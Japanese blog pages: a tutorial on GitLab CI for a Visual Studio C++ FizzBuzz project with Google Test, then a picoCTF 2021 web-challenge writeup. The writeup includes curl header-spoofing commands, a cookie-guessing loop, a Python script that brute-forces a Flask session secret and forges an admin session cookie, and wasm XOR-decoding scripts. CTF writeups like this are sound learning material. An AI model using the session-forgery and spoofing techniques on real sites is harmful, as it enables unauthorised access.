Visual Studio」を入力すると対応する.gitignoreファイルが作成されるので、それをコピーしてクローンしてきたディレクトリのルート直下に.gitignoreファイルを作成しそこに貼り付けます。エクスプローラーからファイルを作成する方が楽かもしれません。


 次に実際にファイルを作成していきます。ソリューションエクスプローラーのヘッダファイルのところを右クリックして「追加」-> 「新しい項目」->「ヘッダファイル(.h)」を選択します。ファイル名はfizzbuzz.hとします。内容は以下です。#pragma onceは二重インクルード防止のためのものです。

#pragma once
#include<string>
#include <iostream>

using namespace std;

string FizzBuzz(int x) {

    if (x % 15 == 0) {
        return "FizzBuzz";
    }
    else if (x % 5 == 0) {
        return "Buzz";
    }
    else if (x % 3 == 0) {
        return "Fizz";
    }
    else {
        return to_string(x);
    }
}

 次にこのFizzBuzz関数を呼び出すmain.cppを作成してきます。ソリューションエクスプローラーのソースファイルを右クリックして「追加」-> 「新しい項目」->「C++ ファイル(.cpp)」を選択します。ファイル名はmain.cppとします。内容は以下です。

#include <iostream>
#include "../ci_sample/fizzbuzz.h"

using namespace std;

int main() {

    cout << "Hello Visual Studio!" << endl;

    for (int i = 1; i <= 20; i++) {
        cout << FizzBuzz(i) << endl;
    }
    return 0;
}

実行できるか確認してみましょう。ウィンドウの上部にある「ローカル Windows デバッガー」をクリックすると実行されます。 以下のような実行結果がでれば大丈夫です。もし実行してもエラーが出てしまった場合はエラー文を見て対応してください。(main.cppの2行目のincludeのパスが合っているか、ウィルス対策ソフトが邪魔をしていないかなどを確認してもいいかもしれません。)

Hello Visual Studio!
1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
16
17
Fizz
19
Buzz

テスト用のプロジェクトを作成

次に今作成したFizzBuzz関数をテストするためのプロジェクト作成していきます。テストにはGoogle Testという単体テスト用のフレームワークを使います。

ソリューションエスクプローラのソリューションと書かれている部分を右クリックして「追加」→「新しいプロジェクト」を選択して「テンプレートの検索」の入力欄でGoogle Testと入力して検索してそれを選択してください。そのあとプロジェクト名をtestとして作成のボタンを押すとテストプロジェクトの構成のウィンドウが出てくるので、テストするプロジェクトの選択で先ほど作成した「ci_sample」を選択して、他の選択肢はそのままで大丈夫です。

f:id:ssssssh:20210806142054p:plain
テストプロジェクトの構成

その後test.cppを以下のように編集してください。テストを追加したい場合は今後このファイルに追加してきます。テストでは3をFizzBuzz関数に入れたとき、文字列の"Fizz"が帰ってきているかどうかなどをテストしています。

#include "pch.h"
#include "../ci_sample/fizzbuzz.h"

/*
TEST(TestCaseName, TestName) {
  EXPECT_EQ(1, 1);
  EXPECT_TRUE(true);
}
*/

TEST(FizzBuzzTest, Fizz) {
    EXPECT_EQ(FizzBuzz(3), "Fizz");
}

TEST(FizzBuzzTest, Buzz) {
    EXPECT_EQ(FizzBuzz(5), "Buzz");
}

TEST(FizzBuzzTest, FizzBuzz) {
    EXPECT_EQ(FizzBuzz(15), "FizzBuzz");
}

TEST(FizzBuzzTest, NotFizzBuzz) {
    EXPECT_EQ(FizzBuzz(7), "7");
}

その後ソリューションエクスプローラーのtestの部分を右クリックして、「スタートアッププロジェクトに設定」をクリックします。これをやることで実行するプロジェクトを変更することができます。実行して以下のような出力がでたらOKです。

Running main() from c:\a\_work\32\s\thirdparty\googletest\googletest\src\gtest_main.cc
[==========] Running 4 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 4 tests from FizzBuzzTest
[ RUN      ] FizzBuzzTest.Fizz
[       OK ] FizzBuzzTest.Fizz (0 ms)
[ RUN      ] FizzBuzzTest.Buzz
[       OK ] FizzBuzzTest.Buzz (0 ms)
[ RUN      ] FizzBuzzTest.FizzBuzz
[       OK ] FizzBuzzTest.FizzBuzz (0 ms)
[ RUN      ] FizzBuzzTest.NotFizzBuzz
[       OK ] FizzBuzzTest.NotFizzBuzz (0 ms)
[----------] 4 tests from FizzBuzzTest (4 ms total)

[----------] Global test environment tear-down
[==========] 4 tests from 1 test case ran. (8 ms total)
[  PASSED  ] 4 tests.

D:\downloads_d\hb_project\ci_sample\Debug\test.exe (プロセス 13208) は、コード 0 で終了しました。
デバッグが停止したときに自動的にコンソールを閉じるには、[ツール] -> [オプション] -> [デバッグ] -> [デバッグの停止時に自 動的にコンソールを閉じる] を有効にします。
このウィンドウを閉じるには、任意のキーを押してください...

.gitlab-ci.ymlの追加

Shared Runnerの場合

以下のようにクローンディレクトリのルート直下に.gitlab-ci.ymlとshared_script.cmdを追加してください。


.gitlab-ci.yml

build on windows:
    tags:
      - windows
    script:
      - CMD.exe /C shared_script.cmd

shared_script.cmd

call "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Auxiliary\\Build\\vcvarsall.bat" x86_x64
echo "build on windows"
cd ci_sample
cd ci_sample
dir
msbuild ci_sample.vcxproj
cd x64/Debug
ci_sample.exe
cd ../../../
dir
nuget.exe restore ci_sample.sln
cd test
msbuild test.vcxproj
dir
cd x64/Debug
dir
test.exe

軽くスクリプトに触れておくと

  • Gitlab Runner上でWindowsを動かすとデフォルトのシェルがパワーシェルになっているため、.batファイルを実行するためにcmd.exeを使ってスクリプトで実行しています。
  • vcvarsall.batはプロジェクトファイル(.vcxproj)をビルドするためのmsbuildコマンドを使うために実行する必要があります。(中身はパスを設定しているだけっぽいです。)
  • nuget.exeはパッケージ管理のコマンドで、今回はGoogle Testをパッケージとして使っているのですが、.gitignoreでpackageフォルダを無視しているのでRunner上でもう一度インストールします。

次はWindows SDKのバージョン確認&変更です。 自分が使っているWindows SDKのバージョンとShared Runnerのwindowsが使っているWindows SDKのバージョンが違う場合はビルドに失敗するので、10.0で合わせておきます。

ソリューションエクスプローラーのtestの部分を右クリックして「プロジェクトの再ターゲット」を選択してWindows SDKのバージョンが10.0になっていることを確認してください。なっていなかったら10.0を選択してください。もしも選択肢に10.0がなかった場合はtest.vcxprojの24行目を以下のように変更してください。

<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>

最後にpushします。

git add .
git commit -m "use CI"
git push

最後にGitlabの自分のレポジトリのページからCIの結果を見てみましょう。

ですが初めての人の場合は、必ず失敗します。ページの上らへんにクレジットカードを入力して、アカウントをバリデーションしろみたいなことが書かれていると思うので、そこからクレジットカードの情報を入力してください。そのあと、「CI/CD」→「Jobs」で一番上のjobを選択してそのページの右上部にあるRetryボタンをクリックしてもう一度CIを走らせてください。

うまくいっていれば以下のような画面が見られるはずです。

f:id:ssssssh:20210806153445p:plain
CIの結果

Specific Runnerの場合

Specific Runnerを使う場合はプライベートのレポジトリで実行することを強くお勧めします。今回の場合、自分のpcをSpecific Runnerとして使用するので、パブリックのレポジトリにしていると、第三者が編集したコードが自分のpcで実行されてしまう可能性があるからです。なのでプライベートレポジトリで実行したほうが安心です。

自分のwindows pcをSpecific Runnerとして使用する場合、Gitlab Runnerをインストールする必要があります。以下のGitlabのページから実行ファイルをダウンロードします。載っている手順を参考に準備をしていきます。

Install GitLab Runner on Windows | GitLab

  1. C:\GitLab-Runnerを作成
  2. 環境にあった実行ファイルを ダウンロードしてgitlab-runner.exeにリネームし、作成したディレクトリに配置
  3. このフォルダと実行ファイルの書き込み権限を制限するのですが、いまいちやり方が分からなかった。プロパティのセキュリティのところから編集?
  4. 管理者でコマンドプロンプトを開いて作成したフォルダに移動して、以下のコマンドを実行してGitlab Runnerをインストール。
 gitlab-runner install

5, 次のコマンドでGitlab Runnerを登録

gitlab-runner.exe register

このコマンドを実行すると入力を求められるので以下のように入力していきます。 最初のurlとtokenはレポジトリのページの「Settings」→「CI/CD」とクリックしていき「Runners」のところの「Expand」をクリックしたところで見ることができます。

C:\GitLab-Runner>gitlab-runner.exe register
Runtime platform                                    arch=amd64 os=windows pid=26664 revision=8925d9a0 version=14.1.0
Enter the GitLab instance URL (for example, https://gitlab.com/):
https://gitlab.com/        ← URLを入力
Enter the registration token:
XXXXXXXXXXXXXXXXX      ← tokenを入力
Enter a description for the runner:    
[LAPTOP-AAAAAAA]: MyRunner    ← runnerの名前を登録
Enter tags for the runner (comma-separated):
hogehoge(お好きにどうぞ)    ← 重要:.gitlab-ci.ymlでこれを指定すると.gitlab-ci.ymlの内容がこのタグと一致するマシンで実行される
Registering runner... succeeded                     runner=SVUUqTs7
Enter an executor: custom, shell, ssh, docker+machine, kubernetes, docker, docker-windows, docker-ssh, parallels, virtualbox, docker-ssh+machine:
shell    ← shellを入力
Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded!

6, config.tomlの編集。installなどを実行するとC://Gitlab-Runnerのフォルダにconfig.tomlがあります。それを開いて以下のように編集してpowershellではなくコマンドプロンプトを使うように変更します。

concurrent = 1
check_interval = 0

[session_server]
  session_timeout = 1800

[[runners]]
  name = "MyRunner"
  url = "https://gitlab.com/"
  token = "hogegeogheogaweog"
  executor = "shell"
  shell = "cmd"    ← ここをpwshからcmdに変更
  [runners.custom_build_dir]
  [runners.cache]
    [runners.cache.s3]
    [runners.cache.gcs]
    [runners.cache.azure]

7, 最後に次のコマンドでGitlab Runnerをサービスとして起動します。

gitlab-runner.exe start

またconfig.tomlを編集したら再読み込みするために一度stopを実行した後にもう一度startをしてgitlab-runnerを再起動しましょう。 以上がGitlab Runnerの設定でした。

この後はShared Runnerのときと同じで、メインとテストのプロジェクトの作成の両方してください。shared_script.cmdを作成する必要はないのですが、.gitlab-ci.ymlは以下のようにしてください。

.gitlab-ci.yml

build on windows:
    tags:
      - hogehoge(自身が設定したタグ)
    script:
        - chcp 65001
        - call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvarsall.bat" x86_x64
        - echo "build on windows"
        - cd ci_sample
        - cd ci_sample
        - dir
        - msbuild ci_sample.vcxproj
        - cd x64/Debug
        - ci_sample.exe
        - cd ../../../
        - dir
        - nuget.exe restore ci_sample.sln
        - cd test
        - msbuild test.vcxproj
        - dir
        - cd x64/Debug
        - dir
        - test.exe

またnuget.exeをci_sample.slnと同じ階層に配置してください。ダウンロードは次のサイトからできます。

docs.microsoft.com

そして最後にSharedのときと同じようにgitコマンドを使ってaddしてcommitしたらpushしてください。 これもGitlabのCI/CDのページから確認できて、最後にJob succeededが確認出来たら成功です。

あとがき

文章書くのが遅すぎて、完成に結構時間がかかってしまった。

picoCTF 2021 writeup

はじめに自己紹介

  • ブログは初投稿になります。sssssshです。
  • 名前見て分かるように好きなコマンドはsshコマンドです笑。
  • CTF歴は2年くらいです。主にwebとか、forensic(最近見かけないけど)とか、pwn(最近やり始めた)とかやってます。
  • クソ雑魚CTFerなので、暖かい目でwriteupを見ていってください。
  • クソ雑魚なので、順位とかチーム名とかは秘密です笑
  • 解いたあと、メモ程度しか残してなかったので解説雑なやつがあるかも
  • あとWeb以外の問題は大して解けなかったので、とりあえずWebだけ(めんどくさかったワケジャナイヨー笑)

Web

GET aHEAD

問題のurlにHTTP HEADメソッドでアクセスする。 curlのIオプションでHEADメソッドを指定しました。

curl -I http://mercury.picoctf.net:21939/index.php

picoCTF{r3j3ct_th3_du4l1ty_6ef27873}

Cookies

シェルスクリプト(苦手)を書いて解きました。 クッキーにいろんな数字を入れて、アクセスしにいく感じですね。

#!/bin/sh
for  i in `seq 0 300`
do
echo $i
curl -s  -H "Cookie: name=$i" "http://mercury.picoctf.net:17781/check" | grep "picoCTF"
sleep 0.1
done

picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}

Scavenger Hunt

前のpicoCTFで似たような問題が出てた気がしました。 結果から言うと以下のファイルやディレクトリにアクセスしに行くと、flagが分かりました。

/
mycss.css
robots.txt
.htaccess
/.DS_Store/

picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d} しれっと書いていますが、.htaccessは後輩が教えてくれました。ありがとう笑!

Some Assembly Required 1

wasm問ですね。 ソースコードにflagがそのまんまあります。 chromeで問題サイトを開いて、F12を押して開発者ツールを開きます。そしたら、Sourcesのところをクリックして、wasmをクリックして、ランダムな数字のファイルをクリックします。そうするとwasmがコンパイルされる前の状態?のwatっていう状態のコードを見ることができます。下にスクロールしていくとflagがありますね。(ラッキー)

f:id:ssssssh:20210331154818p:plain
chromeの開発者ツールでwat(wasmにコンパイルする前の状態)を見ている

picoCTF{51e513c498950a515b1aab5e941b2615}

It is my Birthday

md5が衝突するpdfを提出するだけ。問題文からそんな感じの雰囲気がしてた気がします。 https://github.com/corkami/collisions/tree/master/scripts pdf1.binとpdf2.binの拡張子をpdfにして提出。

picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}

Who are you?

つまった問題です。 表示される条件にあうように、httpヘッダーを追加していきます。

curl -v -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -H "referer: http://mercury.picoctf.net:1270" -H "DNT: 1" -A "PicoBrowser" http://mercury.picoctf.net:1270/

いろいろやっていくとこうなります。

そのあと

This website is only for people from Sweden.

という条件がきます。

以下のサイトを眺めてるとひらめきました。

developer.mozilla.org

X-Forwarded-Forでipを指定できます。このディレクティブはプロキシやらロードバランサーを通ると元のIPアドレスが分からなくなってしまうため、ここに元のipを書いておこうってディレクティブだった気がします。(違ってたらすみません。)

まさかここにスウェーデンのipを指定してアクセスするとかソンナワケナイヨナーって思ったのですが、考えたことを全てやらないと解けないのがCTFです。やってみます。

スウェーデンのipを検索します。

Sweden - IP Addresses by Country

-H "X-Forwarded-For: 81.229.119.123"

を追加すると次に進みます。

You're in Sweden but you don't speak Swedish?

なにやら言語のことが言われているようです。

-H "Accept-Language: sv"

を追加しましょう。 そうするとflagが返ってきたはずです。

picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}

最終的にはこんな感じになると思います。

curl -v -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -H "X-Forwarded-For: 81.229.119.123" -H "referer: http://mercury.picoctf.net:1270" -H "Accept-Language: sv" -H "DNT: 1" -A "PicoBrowser" http://mercury.picoctf.net:1270/

Some Assembly Required 2

またwasm問ですね。 まともにソースコードにみるの大変そうなので、気合いで解きました。(まともな解き方を期待した人はすみません。) いろいろ試してみると、次のことが分かりました。

wasmの最後らへんにあるxakgK\5cNs((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu\00\00 を一文字ずつ取得して、その文字コードに+8か-8してから、入力した文字の文字コードと比較していてる。

ソースコードをまともに見てないので、 +8と-8がどういう条件で変わるか分からなかったので、文字コードを比較する箇所(0x0224)にブレークポイントを置いて、一文字ずつどっちか確認しました。(めっちゃ時間掛かった笑)(こうやって時間を無駄に溶かすのが好きです)

picoCTF{ b2d14eaec72c31305075876bff2b5d} 最初空白が2個あるのですが、ハテブロ側には空白1個って認識されてますね。なんでだ。

Most Cookies

flaskのcookie問ですね。 以下が参考にした記事です。

qiita.com

tech.kusuwada.com

配布されたソースコードをみて、脆弱なコードはここだと思いました。

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

セッションのシークレットキーが配列からランダムに取得されています。 つまりこのcookie_namesの配列のどれかの要素が自分のセッションのシークレットキーになるということです。 以下のコードで全探索してシークレットキーを見つけてから、セッションを改竄します。(very_authの値をadminにする) 改竄したセッションで問題サイトにアクセスするとflagが見られます。 picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is refer to bellow site
#   https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93

import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
cookie = 'eyJ2ZXJ5X2F1dGgiOiJraXNzIn0.YFHmsg.Y1gSa1A8j4Kva6RaUARvlnqHU5w'

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

# main


for co in cookie_names:
    try:
        print(co)
        session = FlaskSessionCookieManager.decode(co, cookie)
        print(session)
        session = { 'very_auth': 'admin' }
        print(FlaskSessionCookieManager.encode(co, session))
        break
    except:
        print("fail")

Some Assembly Required 3

またまたwasm問ですね。 めっちゃ前にこのツールをビルドしてたので、使えそうなやつを探してみます。 試しにwasm2cでC言語にしてからコンパイルして、gdbデバッグしようとしたのですが、コンパイルの時にエラーがでてやめました。

github.com

自分はこれが見やすかった気がします。

wasm-decompile: decompile a wasm binary into readable C-like syntax.

以下がwasm-decompileの実行結果です。

export memory memory(initial: 2, max: 0);
global g_a:int = 66864;
export global input:int = 1072;
export global key:int = 1067;
export global __dso_handle:int = 1024;
export global __data_end:int = 1328;
export global __global_base:int = 1024;
export global __heap_base:int = 66864;
export global __memory_base:int = 0;
export global __table_base:int = 1;
table T_a:funcref(min: 1, max: 1);
data d_a(offset: 1024) = "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00";
data d_b(offset: 1067) = "\f1\a7\f0\07\ed";
export function __wasm_call_ctors() {
}
export function strcmp(a:int, b:int):int {
  var c:int = g_a;
  var d:int = 32;
  var e:int = c - d;
  e[24]:int = a;
  e[20]:int = b;
  var f:int = e[24]:int;
  e[16]:int = f;
  var g:int = e[20]:int;
  e[12]:int = g;
  block B_a {
    loop L_b {
      var h:int = e[16]:int;
      var i:int = 1;
      var j:int = h + i;
      e[16]:int = j;
      var k:int = h[0]:int_8_u;
      e[11]:int_8 = k;
      var l:int = e[12]:int;
      var m:int = 1;
      var n:int = l + m;
      e[12]:int = n;
      var o:int = l[0]:int_8_u;
      e[10]:int_8 = o;
      var p:int = e[11]:int_8_u;
      var q:int = 255;
      var r:int = p & q;
      block B_c {
        if (r) break B_c;
        var s:int = e[11]:int_8_u;
        var t:int = 255;
        var u:int = s & t;
        var v:int = e[10]:int_8_u;
        var w:int = 255;
        var x:int = v & w;
        var y:int = u - x;
        e[28]:int = y;
        break B_a;
      }
      var z:int = e[11]:int_8_u;
      var aa:int = 255;
      var ba:int = z & aa;
      var ca:int = e[10]:int_8_u;
      var da:int = 255;
      var ea:int = ca & da;
      var fa:int = ba;
      var ga:int = ea;
      var ha:int = fa == ga;
      var ia:int = 1;
      var ja:int = ha & ia;
      if (ja) continue L_b;
    }
    var ka:int = e[11]:int_8_u;
    var la:int = 255;
    var ma:int = ka & la;
    var na:int = e[10]:int_8_u;
    var oa:int = 255;
    var pa:int = na & oa;
    var qa:int = ma - pa;
    e[28]:int = qa;
  }
  var ra:int = e[28]:int;
  return ra;
}
export function check_flag():int {
  var a:int = 0;
  var b:int = 1072;
  var c:int = 1024;
  var d:int = strcmp(c, b);
  var e:int = d;
  var f:int = a;
  var g:int = e != f;
  var h:int = -1;
  var i:int = g ^ h;
  var j:int = 1;
  var k:int = i & j;
  return k;
}
export function copy_char(a:int, b:int) {
  var c:int = g_a;
  var d:int = 16;
  var e:int = c - d;        // 66848 ( 66864 - 16)
  e[12]:int = a;            // 112
  e[8]:int = b;             // 0
  var f:int = e[12]:int;    
  block B_a {
    if (==(f)) break B_a;
    var g:int = 4;
    var h:int = e[8]:int;    // 0
    var i:int = 5;           // 5
    var j:int = h % i;       // 0
    var k:int = g - j;       // 4 (4-0)
    var l:int = k[1067]:int_8_u; // 0xED(237)  [1067 + 4]
    var m:int = 24;          // 24
    var n:int = l << m;      // 237 << 24 = -318767104
    var o:int = n >> m;      // -318767104 >> 24 = -19 
    var p:int = e[12]:int;   // 112
    var q:int = p ^ o;       // 112 ^ -19
    e[12]:int = q;           // -99
  }
  var r:int = e[12]:int;     
  var s:int = e[8]:int; 
  s[1072]:int_8 = r;           // -99 [66848]
}

//のやつはメモ(超適当)です。 開発者ツールでステップ実行をしていきながら、こっちにメモを取っていきました。 結局分かったことはxorエンコードしてたってことです。 以下はjsで書きました。

let encode_flag = [0x9d,0x6e,0x93,0xc8,0xb2,0xb9,0x41,0x8b,0x90,0xc2,0xdd,0x63,0x93,0x93,0x92,0x8f,0x64,0x92,0x9f,0x94,0xd5,0x62,0x91,0xc5,0xc0,0x8e,0x66,0xc4,0x97,0xc0,0x8f,0x31,0xc1,0x90,0xc4,0x8b,0x61,0xc2,0x94,0xc9,0x90,0x0,0x0]
let key = [0xf1,0xa7,0xf0,0x7,0xed]
let flag = ""
for(let i=0;i<encode_flag.length;i++){
    let ind = i % 5
    let kd = key[4 - ind]
    flag_code = kd ^ encode_flag[i]
    flag += String.fromCharCode(flag_code)
}
console.log(flag)

picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}

Some Assembly Required 4

またまたまたwasm問ですね。 基本的に3と同じ流れです。 xorしているところ全てにブレークポイントを置いて実行してくと、どんな感じで"\18j|a\118i7\18\09y\0eh\1b\03?\07\13B&`m\1b]s\04lGR5]\17\1fs38@QwWQ\00\00"と入力した文字列を比較しているかが分かりました。

以下がpicoCTFと入力した時のメモです。

112(p) ^ 20 = 100
100 ^ 0  = 100
100 ^ 9 = 109
109 ^ 7 =  106 (j) ここの出力をcopy_charのデータと比較している(比較の順番に注意)

105(i) ^ 20 = 125
125 ^ 106 = 23
23 ^ 1 =  22
22 ^ 8 = 30
30 ^ 6 = 24(\18)

99(c) ^ 20 = 119
119 ^ 24 = 111
111 ^ 2 = 109
109 ^ 9 = 100
100 ^ 5 = 97

111(o) ^ 20 = 123
123 ^ 97 = 26
26 ^ 106 = 112
112 ^ 3 = 115
115 ^ 8 = 123
123 ^ 7 = 124

67(C) ^ 20 = 87
87 ^ 124 = 43
43 ^ 24 = 51
51 ^  4 = 55
55 ^ 9 = 62
62 ^ 6 = 56

84(T) ^ 20 = 64
64 ^ 56 = 120
120 ^ 97 = 25
25 ^ 5 = 28
28 ^ 8 = 20
20 ^ 5 = 17

70(F) ^ 20 = 82
82 ^ 17 = 67
67 ^ 124 = 63
63 ^ 6 = 57
57 ^ 9 = 48
48 ^ 7 = 55

味噌はデータの比較の順番ですかね。 最初106(j)と入力した文字の一文字目を比較して、次の二文字目は24(\x18)と比較しています。こんな感じで続いていきます。 つまり文字列の比較の順番は そのままの順番

\18  ->  j  ->  |  ->  a  ->  ・・・

ではなく、

 j  ->  \18  ->  a  ->  |  ->  ・・・

こんな感じになります。

結局やってることは入力した文字列を一文字ずつxorしまくって、j -> \x18 -> ・・・の順番でデータと比較してるだけですね(多分)。

あとは上のメモとwasm-decompileの実行結果を見つつ、何をやっているかもう少し見ました。

結果、こんな感じのデータをデコードするpythonスクリプトが書けました。

encode_flag = b"\x18j|a\x118i7\x18\x09y\x0eh\x1b\x03?\x07\x13B&`m\x1b]s\x04lGR5]\x17\x1fs38@QwWQ\x00\x00"


unorderd_flag_array = bytearray(encode_flag)

flag_array = []

for k in range(0,len(unorderd_flag_array)-1):
    if k % 2 == 0:
        g  = 1
    else:
        g  = -1
    flag_array.append(unorderd_flag_array[k + g])


flag = ""
idex3 = 0
idex2 = 0


for i in range(0,len(flag_array)):

    print(flag_array[i])
    if i % 3 == 0:
        flag_code = flag_array[i] ^ 7
        print(str(flag_array[i])+" ^ 7")
    elif i % 3 == 1:
        flag_code = flag_array[i] ^ 6
        print(str(flag_array[i])+" ^ 6")
    elif  i% 3 == 2:
        flag_code = flag_array[i] ^ 5
        print(str(flag_array[i])+" ^ 5")


    if  i % 2== 0:
        flag_code = flag_code ^ 9
        print(str(flag_code)+" ^ 9")
    else:
        flag_code = flag_code ^ 8
        print(str(flag_code)+" ^ 8")
        
    flag_code = flag_code ^ (i % 10)
    print(str(flag_code)+" ^ "+str(i%10))


    if i >= 3 :
        
        flag_code = flag_code ^ flag_array[idex3]
        print(str(flag_code)+" ^ "+str(flag_array[idex3]))
        idex3 += 1



    if i >= 1 :
        flag_code = flag_code ^ flag_array[idex2]
        print(str(flag_code)+" ^ "+str(flag_array[idex2]))

        idex2 += 1




    flag_code = flag_code ^ 20
    print(str(flag_code)+" ^ 20")
    print(flag_code)
    flag += chr(flag_code)
    print("-------------------------------")



print(flag)

実行すると最後

picoCTF{a4dfbd29e50d01f1a513903dfceda44c,

っていう出力が返ってくるのですが、最後の,を}に変えるとflagが通りました。

picoCTF{a4dfbd29e50d01f1a513903dfceda44c}

Web問じゃなくて完全にリバーシングの問題の気がします。

おまけ

chromeの開発者ツールでModuleの$memoryの箇所を右クリックして、inspect memoryをクリックすると16進ダンプの画面が見られるよ。かっこいいね!

f:id:ssssssh:20210331175127p:plain
開発者ツールで16進ダンプを表示

今後もwasm問が増えていくのでしょうかね。だとしたらきつい。 gdbとかlldbとかでデバッグしてみたかったですね。 お勧めの解き方あったら教えてください!

最後に

実はこの記事は3/31(入社1日前)に一瞬だけ公開してました。 公開した後にまだwriteupを出しちゃダメって事を知って焦ったのですが、アクセス解析で確認したところ、だれもこの記事にたどり着けてなかったみたいだったので安心しました笑。その後すぐに下書きに保存し直しました。

今後もCTFとかなんかの技術とかアウトプットしていきたいですな。